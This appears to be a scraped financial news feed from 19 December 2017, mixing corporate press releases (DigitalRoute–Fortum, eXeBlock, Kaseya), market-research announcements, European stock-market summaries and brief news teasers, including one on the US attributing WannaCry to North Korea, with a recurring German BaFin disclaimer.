European utility Fortum is driving digital transformation within the energy sector, together with DigitalRoute. Starting with a digital solution for energy trading, by deploying machine learning algorithms based on DigitalRoute's Data Optimization Platform, the companies are now taking the next steps in building data driven services within the energy sector. STOCKHOLM, Sweden, 2017-12-19 09:00 CET (GLOBE NEWSWIRE) -- DigitalRoute, the leading Data Integration and Data Management company, and key European energy provider, Fortum, have jointly announced the completion of a successful Proof of Concept project. Fortum is a leading clean-energy company offering electricity, heating and cooling solutions as well as driving the change for a cleaner world. Fortum has been looking for an IoT enabling platform to develop data-driven solutions and has now chosen to partner with DigitalRoute. DigitalRoute's platform allows for real-time communication between assets, plants, data sources and business systems, resulting in optimal quality data, which can be utilized to simplify the deployment of new solutions and optimize key processes. The recently completed Proof of Concept focused on optimizing two different operational processes, both highlighting the benefits of Data Quality; to secure high quality data and then apply machine learning in order to optimize trading decisions. The Use Case showed how DigitalRoute's solution could be used to predict intraday prices on the Nordic Energy market using external and internal data. Direct integration between the DigitalRoute Data Optimization Platform and market data sources enabled this provider to gain increased operational control, speed and commercial agility. Fortum's Vice President, Trading and Asset Optimization, Simon-Erik Ollus, observed: "In partnership with DigitalRoute, we can increase both our momentum in the market as well as our self-sufficiency. We can focus on simplifying the deployment of new solutions and optimizing business processes, enabling a fast time-to-market." Fortum will now utilize the experiences from the Proof of Concept in other areas such as operation and maintenance optimization of charging infrastructure, Smart Living services and further solutions within energy trading. DigitalRoute CEO Andreas Zartmann said: "Our technology is a game changer for cutting-edge utility providers and we are delighted that Fortum is working with us to demonstrate how energy companies can use it to turn innovations from an opportunity into a commercial success. We are also excited to partner with a visionary player in a fast-changing industry. Once again, this underlines the wide scope of challenges DigitalRoute's technology can address." About DigitalRoute DigitalRoute has been providing new approaches to data integration and data management since 1999. Its technology offers high throughput and provides a unique degree of user configurability, processing all usage and statistical data extracted from networks of connected assets. This means customers gain greater cost efficiencies, improved time-to-market for new service offerings, the ability to monetize any data, and the means to enhance end-customer satisfaction. DigitalRoute makes network events available to the right systems in the right formats in the most appropriate volumes at the required times, without losing a single bit. This is the foundation from which multiple, mission-critical use-cases can be addressed. Over 350 leading companies worldwide use DigitalRoute technology to meet their data management needs, including a number of OEM partners who use our platform as a central part of their own offerings. DigitalRoute is built on the core values of Expertise, Open-Mindedness and Commitment. With close to 200 employees, the company is headquartered in Stockholm, Sweden with regional offices in Gothenburg, Atlanta and Kuala Lumpur. DigitalRoute is a venture-backed, privately-held company. For more information or interviews with Andreas Zartmann contact: Sancha Brody, Media & Analyst Relations Email: sancha.brody@digitalroute.com Phone: +44 (0)7376 366855 https://www.facebook.com/DigitalRoute https://twitter.com/digital_route https://www.linkedin.com/company/36031?trk=tyah
BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - German shares were higher on Tuesday, although overall gains remained muted amid signs of dollar weakness on concerns over the proposed tax bill's impact on the world's largest economy. The benchmark DAX was marginally higher at 13,317 in late opening deals after climbing as much as 1.6 percent in the previous session. Fashion house Hugo Boss rallied 2.4 percent after its CEO Mark Langer told the Frankfurter Allgemeine Zeitung newspaper that the company's sales growth will outperform the market in 2018. Deutsche Lufthansa advanced 1.5 percent after announcing plans to launch revenue-based loyalty programs. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Base Resources has reached agreement with World Titane Holdings to acquire an initial 85% interest in the wholly-owned Mauritian subsidiaries of World Titane, which between them hold a 100% interest in the Toliara Sands Project in Madagascar, it announced on Tuesday. The AIM-traded company said the acquisition remained conditional only on Base Resources completing an equity raising for a minimum of AUD 80m to partially fund the acquisition costs. It said it considered the Toliara Sands Project ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
BHP Billiton said on Tuesday that it is considering leaving the World Coal Association and the US Chamber of Commerce. The mining giant said a review of 21 industry association memberships found that it had seven material differences in position over climate and energy policies across three associations: the Minerals Council of Australia, the United States Chamber of Commerce and the World Coal Association. BHP will remain a member of the MCA, given the high level of benefit it derives from ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Aeronautical giants Bombardier and Boeing went to toe-to-toe on Monday as the two traded blows in front of the US International Trade Commission (ITC) in the most recent round of their feud amid claims by both that the other has benefited from massive subsidies. Boeing alleged that Bombardier had hindered the sales of its 737 aircraft and implored the ITC to uphold October's 300% import tariff imposed on its rival due to the Canadian firm receiving subsidies at home that allowed it to sell its ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - European shares were mixed on Tuesday, with dollar weakness and disappointing business confidence figures from Germany keeping investors cautious ahead of the U.S. House vote on the tax bill later today. Germany's business confidence weakened in December, survey results from Ifo institute showed. The business sentiment index fell to 117.2 from November's original estimate of 117.5.Economists had forecast the indicator to rise to 117.6 in December. The pan-European Stoxx Europe 600 index was up 0.2 percent at 393.31 in late opening deals after rallying 1.2 percent the previous day. The German DAX was little changed and France's CAC 40 was marginally lower, while the U.K.'s FTSE 100 was moving up 0.2 percent. Intrum Justitia lost over 6 percent amid reports its CEO is leaving the company. Similarly, Hostelworld Group fell 2 percent in London after its Chief Financial Officer Mari Hurley decided to resign to pursue a new opportunity outside the company. Old Mutual shares jumped 3.5 percent. The Anglo-South African financial services group is selling its U.K. wealth business run by veteran fund manager Richard Buxton to a private equity firm for 600 million pounds. Sodexo shares were up nearly 1 percent in Paris. The French group on Monday announced its partnership with India's largest food ordering and delivery platform Swiggy. German fashion house Hugo Boss rose about 1 percent after its CEO Mark Langer told the Frankfurter Allgemeine Zeitung newspaper that the company's sales growth will outperform the market in 2018. Deutsche Lufthansa advanced 1.5 percent after announcing plans to launch revenue-based loyalty programs. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Vancouver, British Columbia--(Newsfile Corp. - December 19, 2017) - eXeBlock Technology Corporation (CSE: XBLK) ('eXeBlock' or the 'Company') is pleased to announce that it has entered into an agreement with the Peerplays Blockchain Standards Association to develop four decentralized applications ('DApps') over the course of the next twenty-four months. The DApps will be compatible with the Peerplays blockchain platform. eXeBlock will use its team's expertise in developing the DApps and will have full discretion in determining which DApps to develop. The Peerplays platform arguably incorporates the fastest, most advanced consensus mechanism in decentralized blockchain technology available today. Each DApp will be released in Beta form on TestNet in advance of any production release, in order to gather feedback from the blockchain user community. The Testnet phase of development provides application developers with an inexpensive way to experiment or "test" DApps and provide functional and operational feedback on new DApps in order to have them gain approval by node operators for a protocol update to include the new DApp into the blockchain.

With the commitment to develop the DApps, eXeBlock will receive approximately 940,000 Peerplays ('PPY') tokens. PPY tokens are digital assets that will allow holders to vote on operational modifications within the network and share in revenue generated by DApps operating on the Peerplays blockchain platform. The eXeBlock Risk and Disclosure Committee has reviewed the terms of the transaction, issues surrounding the transaction along with the policies and procedures necessary to accept PPY tokens as consideration. The Company will acquire these tokens with an appropriate exemption under National Instrument 45-106 and has no intention of trading these tokens at this time.

"The development of DApps compatible with the Peerplays network will allow eXeBlock to quickly penetrate a high value untapped market in blockchain through an established network with the unique capacity to support a significant user base," said Ian Klassen, Chief Executive Officer of eXeBlock. "This transaction accelerates our timeline to meaningful revenue generation."

About eXeBlock Technology Corporation

eXeBlock is a designer of proprietary and third-party custom, state-of-the-art blockchain based software applications that provide secure and efficient solutions to businesses and markets globally. eXeBlock is one of the first Canadian public companies focused on the development of disruptive DApps using blockchain technology. eXeBlock will earn revenue from each transaction within the DApps which is expected to commence in the second quarter of 2018.

For More Information about the Company, please contact:

Ian Klassen

President & Chief Executive Officer

Email: ian@exeblock.com

T: 604-899-0106

Neither the CSE nor its Regulation Services Provider (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release.

FORWARD-LOOKING INFORMATION

This press release contains forward-looking statements and information that are based on the beliefs of management and reflect the Company's current expectations. When used in this press release, the words "will", "estimate", "project", "belief", "anticipate", "intend", "expect", "plan", "predict", "may" or "should" and the negative of these words or such variations or comparable terminology are intended to identify forward-looking statements and information. The forward-looking statements and information in this press release includes information relating to the commercialization of DApps to be developed, the ability to generate revenues from DApps, the receipt and value of the PPY tokens (if any) and the implementation of eXeBlock's operating plans. Such statements and information reflect the current view of the Company with respect to risks and uncertainties that may cause actual results to differ materially from those contemplated in those forward-looking statements and information. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause our actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Forward-looking statements are made based on management's beliefs, estimates and opinions on the date that statements are made and the Company undertakes no obligation to update forward-looking statements if these beliefs, estimates and opinions or other circumstances should change. Investors are cautioned against attributing undue certainty to forward-looking statements. There are a number of important risk factors that could cause the Company's actual results to differ materially from those indicated or implied by forward-looking statements and information. Such risk factors include, among others, the Company's limited operating history and expected continued operating losses; failure of the Company's business strategy; inherent risks of the cryptocurrency and blockchain industry; system failures and security risks; government regulation; need for additional financing requirements and access to capital; reliance on key and qualified personnel; dependence on third party relationships; insurance; competition; and intellectual property. Other factors include risks associated with the marketing and sale of securities; dilution; the potential for conflicts of interest among certain officers or directors; and the volatility of the Company's common share price and volume.

For a fuller discussion of risk factors, refer to the Company's prospectus dated November 9, 2017 filed under the Company's profile on SEDAR www.sedar.com and on the CSE's website.

The Company cautions that the foregoing list of material risk factors is not exhaustive. When relying on the Company's forward-looking statements and information to make decisions, investors and others should carefully consider the foregoing risk factors and other uncertainties and potential events. The Company has assumed a certain progression of its business objectives, which may not be realized. It has also assumed that the material factors referred to in the previous paragraph will not cause such forward-looking statements and information to differ materially from actual results or events. However, the list of these risk factors is not exhaustive and is subject to change and there can be no assurance that such assumptions will reflect the actual outcome of such items or factors.

THE FORWARD-LOOKING INFORMATION CONTAINED IN THIS PRESS RELEASE REPRESENTS THE EXPECTATIONS OF THE COMPANY AS OF THE DATE OF THIS PRESS RELEASE AND, ACCORDINGLY, IS SUBJECT TO CHANGE AFTER SUCH DATE. READERS SHOULD NOT PLACE UNDUE IMPORTANCE ON FORWARD-LOOKING INFORMATION AND SHOULD NOT RELY UPON THIS INFORMATION AS OF ANY OTHER DATE. WHILE THE COMPANY MAY ELECT TO, IT DOES NOT UNDERTAKE TO UPDATE THIS INFORMATION AT ANY PARTICULAR TIME EXCEPT AS REQUIRED IN ACCORDANCE WITH APPLICABLE LAWS.

NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES.
ALBANY, New York, December 19, 2017 /PRNewswire/ --

The rising healthcare awareness, coupled with willingness to spend on advanced treatment will trigger growth in the global image guided surgery devices market. As a result of expansion reported over the years, the market is likely to witness higher competition in the near future. Besides toying with various policies to strengthen their global footprint, several market players are likely to take on strategic collaborations to attain sustainable growth in the global image guided surgery devices market. Transparency Market Research (TMR) has identified Olympus Corporation, GE Healthcare, Koninklijke Philips N.V., Siemens Healthineers, Brainlab AG, Analogic Corporation, Varian Medical Systems, Inc., KARL STORZ GmbH & Co. KG, Stryker, and Medtronic as some of the prominent companies operating in the market. Strategies aimed at business expansion adopted by these companies are likely to exert considerable influence on the market's future trajectory.

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According to TMR, the global image guided surgery devices market will value US$4,998.2 mn in 2025, as against its valuation of US$3,068.9 mn in 2016. Therefore, between 2017 and 2025, the global image guided surgery devices market is likely to report a CAGR of 5.7%. Regionally, the rising demand for minimally invasive surgeries and various other factors have put North America at the market's fore in 2016. Besides this, TMR forecasts positive outlook for the market in Europe and Asia Pacific. Based on end user, the hospitals segment accounted for the highest share in the global image guided surgery devices market in 2016.

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Demand for Precise Diagnosis to Increase Uptake of Image Guided Surgery Devices

Image guided surgery devices facilitate accurate and precise diagnosis, thus bolstering the overall treatment procedure. Because of high level accuracy these devices offer, their usage has significantly increased during surgeries. Besides this, image guided devices are used as navigation systems as they guide doctors during the planning or a surgery and assist surgeons while performing one. Various factors are supporting the market's expansion. For instance, the growing awareness regarding advanced technologies and devices has helped the market gain momentum. In addition, the market is likely to gain impetus in response to the increase willingness among patients and their families to spend on minimally invasive surgeries. Furthermore, the rising incidence of cancer, ENT problems, and osteoporosis is likely to fuel the demand for surgery devices. Also, the market will significantly benefit from technological advancements in healthcare facilities.

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Rising Incidence of Chronic Ailments to Exert Positive Influence

The escalating global population will have a positive impact on the overall market. Extensive care often become a necessity for elderly population. With age humans grow more vulnerable to illnesses. Also their low immunity level extends the recovery time in case of diseases. Considering this, in the coming years the demand for effective diagnosis and therapies is likely to get stoked in the healthcare sector. This in turn will pave way for the global image surgery devices market's robust growth in the near future.

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While developed regions will continue offering lucrative prospects, the market will gain major impetus across emerging nations. In countries such as India and China, the market witnesses major growth potential. This is due to the expansion of the healthcare industry and rising government investment toward sophisticating their healthcare infrastructure. Furthermore, medical devices can be manufactured at a reduced cost in emerging nations, without compromising on quality, which is a key factor behind the gradual shift of leading vendors towards emerging nations. However, due to lack of awareness, these companies may find it difficult to penetrate in remote areas, which could restrain the market's growth to an extent. Nonetheless, government initiatives taken to educate and make people living in the rural areas aware about widespread diseases and their possible treatments will enable growth in the global image guided surgery devices market in the coming years.

Global Image Guided Surgery Devices Market Report is available @ US$ 5795

About TMR

Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The company's exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMR's experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.

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Chattanooga Peds founders Dr. Jeanie Jung and David Harris are among the first business owners to become EPB Solar Share Leaders by offsetting 100% of the facilitys electricity usage with locally generated community solar power.EPBs Solar Share meets our goal of reducing our offices carbon footprint without constructing a rooftop solar installation, Mr. Harris said. We want to be good neighbors and partners by offsetting all of our electricity consumption with renewable energy, which we believe benefits everybody in the community.Prior to becoming a Solar Share Leader, Chattanooga Peds established a relationship with EPB Energy Analyst Ann Eslinger to enhance the value of electricity through best practices and efficiencies.Ms. Eslinger determined that by licensing 70 Solar Share panels, the pediatric care facility can meet its goal of offsetting all of its electricity needs with locally generated solar power.The Chattanooga Peds owners are environmentally conscious in every way, and they understand that their young patients are growing up in a world where environmental stewardship is a critical part of all of our lives, Ms. Eslinger said. They look at the whole child approach of good health, which includes a healthy environment.EPB Solar Share was launched in July 2017 through a partnership with the Tennessee Valley Authority as a way to provide customers with a new option for participating in renewable energy that lower the barriers that many home and business owners face. The 1.35 megawatt facility on Holtzclaw Avenue also serves as a living lab for developing future energy solutions in cooperation with the U.S. Department of Energy Oak Ridge National Laboratory.We hope our decision to source all of our power through Solar Share encourages our community to embrace environmental consciousness as way of promoting good health and wellbeing, Mr. Harris said.
PUNE, India, December 19, 2017 /PRNewswire/ --

According to a new market research report "Breathable Films Marketby Type (Polyethylene, Polypropylene, Polyurethane Polyether Block Amide, Co-Polyamide, Polyether Ester), End-Use Industry (Hygiene, Medical, Food Packaging, Construction, Fabric), and Region - Global Forecast to 2022" published by MarketsandMarkets', the market is estimated to be USD 1.81 Billion in 2017 and is projected to reach USD 2.55 Billion by 2022, at a CAGR of 7.1% between 2017 and 2022. The Breathable Films Market is driven by the growing awareness regarding health and hygiene and increasing use of breathable films in premium hygiene products in both developed and developing countries.

(Logo: http://photos.prnewswire.com/prnh/20160303/792302 )

Browse 101 market data Tables and48 Figures spread through 155 Pages and in-depth TOC on"Breathable Films Market"

https://www.marketsandmarkets.com/Market-Reports/breathable-film-market-208493214.html

Early buyers will receive 10% customization on this report

Polyethylene-based breathable film type estimated to be the largest type of breathable films

Polyethylene-based breathable films type segment accounted for 55.6% share of the total Breathable Films Market in 2016, in terms of value. Polyethylene-based breathable films will remain the dominant type during the forecast period due to their lower cost as compared to other types of polyolefin films. The major application of polyethylene breathable films is in hygiene applications in products such as baby diapers, adult incontinence, and sanitary napkins.

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Medical application: the fastest-growing application for breathable films

The Breathable Films Market size in the medical application is projected to register the highest growth during the forecast period. Consumption of breathable films in this application is growing due to the increased use of breathable films in the manufacturing of surgical drapes, surgical gowns, patient gowns, back-table covers, operation bed covers, mayo stand covers, and gloves. This is fueled by the rising demand for healthcare facilities and increasing per capita spending in healthcare in the developing countries. Increasing old age population and increased use of disposable drapes and gowns in the developed countries is also contributing to the market growth.

Asia Pacific is estimated to be the largest market for breathable films. China is estimated to be the leading market for breathable films in Asia Pacific. India, Indonesia, Thailand, Malaysia, and South Korea are the other major countries contributing to the growth of the Breathable Films Market in the region. The increasing demand for breathable films from applications such as medical, hygiene, food packaging, and construction is expected to drive the Breathable Films Market in these countries.

The key companies profiled in the Breathable Films Market research report are RKW Group (Germany), Arkema (France), Clopay Plastic Products (US), Mitsui Hygiene Materials (Thailand), and Fatra (Czech Republic). Other prominent players in the Breathable Films Market are Toray Industries (Japan), Covestro (Germany), Nitto Denko (Japan), Trioplast Industries (Sweden), SWM INTL (US), Rahil Foam (India), Skymark Packaging (UK), Daika Kogyo (Japan), American Polyfilm (US), and Innovia Films (UK).

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https://www.marketsandmarkets.com/Market-Reports/industrial-film-market-227835863.html

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DUBLIN, Dec. 19, 2017 /PRNewswire/ --

The "Global Energy Storage Market for Drones 2017-2021" report has been added to Research and Markets' offering.

The global energy storage market for drones to grow at a CAGR of 11.56% during the period 2017-2021.

Global Energy Storage Market for Drones 2017-2021, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.

One trend in the market is increasing strategic partnerships. A drone is a complex assortment of hardware, software, and mechanics meant to work together. Several drone companies specialize in one aspect alone, which require interdisciplinary expertise. The huge potential drones hold in commercial applications has led to the formation of strategic partnerships and investment by vendors and technology providers alike to develop more capable devices.

According to the report, one driver in the market is growing commercial use. Applications of drones have expanded beyond the initial use in the military sector to commercial use in segments such as agriculture, construction, power and water utility, real estate, journalism, cinematography, transportation, and the energy sector, which includes the mining, oil and gas, and clean energy sectors. Drones are being used in these segments for monitoring, mapping, surveying, and maintenance activities to increase productivity with greater efficiency than conventional methods.

Further, the report states that one challenge in the market is uncertain market conditions limiting market growth potential. With the rapid rise in demand for consumer drones in the historical period, the number of unregistered, unmonitored, and untraceable drones has increased. The tracking of unregistered drones is difficult, which is a major concern for governments and the general masses. For instance, in 2015, an unregistered consumer drone crashed into the White House grounds. In 2016, British Airways' international passenger carrier was reported to have apparently hit a flying drone while landing at the Heathrow International Airport, London, UK. Since then, stringent rules have been drawn, which makes it illegal to fly drones near the UK airport, and those found violating the rules can face up to five years in prison.

Key vendors

Amperex Technology

Ballard Power Systems

DJI

Highpower International

Kokam

Other prominent vendors

Grepow

H3 Dynamics

Intelligent Energy

Lumenier

MicroMultiCopter Aero Technology

Shenzhen Herewin Technology

Vcanz

Vertical Partners West (Venom Group International)

Key Topics Covered:



PART 01: EXECUTIVE SUMMARY



PART 02: SCOPE OF THE REPORT



PART 03: RESEARCH METHODOLOGY



PART 04: INTRODUCTION

Market outline

PART 05: MARKET LANDSCAPE

Market ecosystem

Types of drones

Market characteristics

Market segmentation analysis

PART 06: MARKET SIZING

Market definition

Market sizing 2016

Market size and forecast 2016-2021

PART 07: FIVE FORCES ANALYSIS

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

PART 08: MARKET SEGMENTATION BY PRODUCT

Segmentation by product

Comparison by product

Batteries - Market size and forecast 2016-2021

Fuel cells - Market size and forecast 2016-2021

Market opportunity by product

PART 09: REGIONAL LANDSCAPE

Geographical segmentation

Regional comparison

Americas - Market size and forecast 2016-2021

EMEA - Market size and forecast 2016-2021

APAC - Market size and forecast 2016-2021

Key leading countries

Market opportunity

PART 10: DECISION FRAMEWORK



PART 11: DRIVERS AND CHALLENGES

Market drivers

Market challenges

PART 12: MARKET TRENDS

Increasing strategic partnerships

Drones for delivery services

Development of next-generation batteries

PART 13: VENDOR LANDSCAPE

Vendor Landscape

PART 14: VENDOR ANALYSIS

Vendors covered

Amperex Technology

Ballard Power Systems

DJI

Highpower International

Kokam

PART 15: APPENDIX



For more information about this report visit https://www.researchandmarkets.com/research/wvm3vh/global_energy?w=5





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Evolution of IT Complete platform through acquisition of Unigma cloud management and strong product innovation lead to explosive Kaseya growth LONDON, 2017-12-19 13:00 CET (GLOBE NEWSWIRE) -- Kaseya, the leading provider of complete IT management solutions for managed service providers (MSPs) and mid-market enterprises (MME), today announced record corporate growth for 2017. The springboard for its success is the continued adoption and market demand for Kaseya's IT Complete platform. As the industry's first and only unified growth platform designed specifically for the MSP community, IT Complete enabled the average Kaseya MSP to grow its business by over 37 percent in 2017. Driven by Kaseya's "Times 20" strategy of delivering solutions that allow MSPs to receive a 20 times return on their IT investments, IT Complete became an even more powerful revenue-generating platform for MSPs through strategic M&A activity, corporate growth and product innovation. Kaseya's customer-centric focus continues to provide strong financial results for the company as the company's growth exceeded 40 percent in 2017 and continues to accelerate into 2018. With over 1,000 new PSA customers, surging customer satisfaction scores and the continuous delivery of proven, next-generation IT management solutions, 2017 has been a record year for Kaseya. 2017 Corporate and Product Milestones include: Acquisition of Unigma In May, Kaseya announced the launch and general availability of the Unigma Cloud Management Suite, based on an earlier acquisition. Aimed at filling the void in public cloud management solutions for MSPs, the Unigma Cloud Management Suite delivers unified cloud management capabilities that empower MSPs to automate billing tasks, and optimise costs through detailed cloud utilisation analysis. In October, Kaseya added new enhancements to Unigma including seamless Microsoft Office 365, Microsoft Azure, Google Cloud Platform and Amazon Web Services (AWS) billing integrations with professional services automation (PSA) solutions from Kaseya, ConnectWise and Autotask. Additionally, Unigma was fully integrated with AuthAnvil by Kaseya for secure single sign-on via Kaseya's powerful identity and access management solution. Product Enhancements Powered Services In 2017, Kaseya announced its game-changing Powered Services offering, specifically developed to enable MSPs to easily go-to-market and deliver innovative solutions for customers that immediately generate monthly recurring revenues. Security and network monitoring are especially critical areas of need for SMBs and midmarket businesses, and through Powered Services, MSPs can now deliver these emerging solutions with the expertise and agility to both address customer needs and accelerate the growth of their businesses. Built on a foundation of innovative security solutions - such as single sign-on (SSO) and two-factor authentication (2FA) - AuthAnvil offers a powerful suite of functionality developed to protect MSPs, while also allowing MSPs to easily create a Security-as-a-Service (SECaaS) offering to grow their businesses. With SSO, 2FA and Password Management all included, the solution delivers modern, simple identity and access security at a highly affordable price. This is a timely service as recent research showed 80 percent of security breaches involve privileged credential misuse, a vulnerability AuthAnvil protects users from. With a network monitoring service powered by Traverse by Kaseya, managed service providers and other IT delivery houses can offer their customers a valuable monitoring solution that helps them identify and resolve infrastructure issues faster than other leading monitoring tools. With deep network discovery and a business-centric view of network applications, a Network Monitoring-as-a-Service (NMaaS) powered service delivers on maximising network and application availability and performance. Kaseya MSP Insights The recent launch of Kaseya MSP Insights delivers a new business intelligence and benchmarking tool specifically designed to ensure the success of Kaseya MSP partners. Built upon proprietary technical and business data, the online portal allows MSPs to quickly and easily benchmark their own business metrics against other MSPs in their region, analyse new and emerging MSP service offerings, evaluate bundling and pricing strategies, and review detailed technical trends. With Kaseya MSP Insights, IT service providers can quickly benchmark their own list of technology solutions and services against what other local providers offer - delivering a huge competitive advantage. Traverse 9.5 by Kaseya The latest version of Traverse is a breakthrough, unified monitoring solution that provides users with holistic, real-time insights into the performance of hybrid IT infrastructures and distributed data centres. The solution empowers organisations with a service-centric, proactive approach to network performance management to ensure network uptime, drive business success, and easily monitor and manage networks and data centres. With integrated actionable alerts, Traverse enables IT to more quickly pinpoint root-cause analyses for faster issues remediation. VSA 9.4 by Kaseya With next release of VSA 9.5 coming in January 2018, the latest release of VSA by Kaseya included next-generation innovations developed specifically for advanced MSPs and enterprise IT departments. New features promote policy-based automation with proactive remediation to increase overall team productivity. The Kaseya automation framework allows companies to securely take charge of their infrastructure by transparently and remotely managing servers, desktops, mobile devices, home-based desktops and network devices - all from a single central management console. Built on a foundation that promotes the best user technician experience in the industry, VSA by Kaseya is the ideal RMM solution for growing IT departments. GDPR Resource Center and Compliance Pack The Kaseya GDPR Resource Center helps organisations understand, plan and build their GDPR-related compliance strategies. It includes a community portal, where professionals can exchange ideas and best practices, and the new GDPR Compliance Pack, which features new compliance reports and technology to help customers worldwide comply with the regulation. It is available as a free plugin to Kaseya's flagship remote monitoring and management solution, VSA. Industry Recognition Throughout 2017, Kaseya received industry recognition through myriad of corporate and product awards. A sampling includes: -- Platinum Winner, Integrated RMM/PSA Solution and Remote Monitoring and Management Solution, Redmond Channel Partner 2017 Reader's Choice Awards -- Gold Winner, Professional Services Automation Solution and Cloud Migration Solution, Redmond Channel Partner 2017 Reader's Choice Awards -- ITSM Category Leader, GetApp IT Service Management -- Winner, Digital Workplace category, Ovum on the Radar Awards -- Finalist, UK IT Industry Awards Community Expansion In November, Kaseya announced its newly enhanced "Kaseya Accelerate in the City" live events programme. Focused on improving and enriching customer experiences, Kaseya's Accelerate in the City roadshow events serve as opportunities for the company to continuously stay connected with its customers, share new product innovations first-hand, and collaborate with the global Kaseya community on future products, services and initiatives. "Year after year, Kaseya pushes the envelope to continue to be the clear-cut IT systems management platform of choice by the most successful MSPs and mid-market enterprises worldwide. We succeed when our customers succeed, and it's through this mindset that we deliver leading-edge products and services that have a direct impact on our customers' businesses," said Fred Voccola, CEO, Kaseya. "IT Complete continues to deliver on its promise to enable our users to grow massively. We're proud of the success of IT Complete, which is defined by a single measure - that the average Kaseya MSP leveraging the IT Complete platform experienced a 37 percent growth in annual revenue in their business." Added Voccola, "We continue to invest and ensure that a Kaseya MSP is the most successful managed service provider. Our core goal is to make our customers successful and align our business' financial success around our customers' financial success. Unlike our competitors, we don't focus on driving growth from products and services that our MSPs don't get paid for. For this reason, we are humbled by the fact that our customers continue to put their trust in us and allow us to work with them. Our financial success is attributed to two amazing constituents - first and foremost, our customers, and a very close second are our employees around the world, who are continuously dedicated to the success of our customers." About Kaseya Kaseya is the leading provider of complete IT management solutions for managed service providers (MSPs) and midsized enterprises. Through its open platform and customer-centric approach, Kaseya delivers best in breed technologies that allow organisations to efficiently manage and secure IT. Offered both on-premise and in the cloud, Kaseya solutions empower businesses to command all of IT centrally, easily manage remote and distributed environments, and automate across IT management functions. Kaseya solutions manage over 10 million endpoints worldwide. Headquartered in Dublin, Ireland, Kaseya is privately held with a presence in over 20 countries. To learn more, visit www.kaseya.com. Media Contact Alex Sweeney The Whiteoaks Consultancy Phone: +44 1252 727313 Email: alexs@whiteoaks.co.uk
The White House claimed that North Korea was "directly responsible" for the WannaCry malware attack that hit more than 30,000 computers in hospitals, businesses and banks across 150 nations in May and caused billions of pounds in damage. Thomas Bossert, an aide to the US president, made the accusation in Monday's edition of the Journal, officially blaming Pyongyang "based on evidence". Number 10 said in November that it was "all but certain" that the rogue nation was responsible for the attack ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
